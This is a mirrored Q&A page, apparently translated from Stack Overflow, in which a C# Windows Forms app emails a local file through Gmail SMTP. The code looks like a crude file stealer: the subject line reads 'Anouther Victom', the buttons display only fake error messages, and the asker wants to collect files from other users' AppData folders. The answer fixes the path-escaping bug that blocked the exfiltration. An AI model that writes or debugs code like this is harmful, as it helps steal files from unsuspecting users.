为什么我不能发送带有附件这封电子邮件吗? [英] Why can't I send this email with an attachment?

查看:134
本文介绍了为什么我不能发送带有附件这封电子邮件吗?的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Net;
using System.Net.Mail;

namespace WindowsFormsApplication1
{
  public partial class Form1 : Form
  {
    public Form1()
    {
      InitializeComponent();
    }

    public void email_send()
    {
      MailMessage mail = new MailMessage();
      SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com");//the smtp server
      mail.From = new MailAddress("my email@gmail.com");//my email adress
      mail.To.Add("to_mail@gmail.com");
      mail.Subject = "Anouther Victom";
      mail.Body = "mail with attachment";

      System.Net.Mail.Attachment attachment;
      attachment = new System.Net.Mail.Attachment("C:\test.txt"); //attachment file location
      mail.Attachments.Add(attachment);

      SmtpServer.Port = 587;
      SmtpServer.Credentials = new System.Net.NetworkCredential("my email@hotmail.com", "password");
      SmtpServer.EnableSsl = true;

      SmtpServer.Send(mail);
    }

    private void button1_Click(object sender, EventArgs e)
    {
      MessageBox.Show("Error retriving download url sorce check you url or serch the help guid  for help solving this error");
    }

    private void button2_Click(object sender, EventArgs e)
    {
      MessageBox.Show("Error no mod discoverd inside of resorce file");
    }
  }
}

这不会发送电子邮件我想,当我试图给比c\file.txt更大的文件路径,但它不会理解C:\Users\George\AppData\Roaming或任何扩展我希望它来复制一个资源文件,并通过电子邮件发送给我送过来,帮助应用程序开发

This will not send the email I want and when I tried to give a file path bigger than c\file.txt but it will not understand the C:\Users\George\AppData\Roaming or any extension I wish it to copy a resource file and email it back to me to help app development.

推荐答案

你的问题是C:\ test.txt的\t被解释为一个标签。你想要么使用一个字符串和 @C:\test.txtC转义反斜线:\\ test.txt的

your problem is "C:\test.txt": "\t" is interpreted as a tab. You want either to use a string literal with @"C:\test.txt" or escape the backslash with "C:\\test.txt"

这篇关于为什么我不能发送带有附件这封电子邮件吗?的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆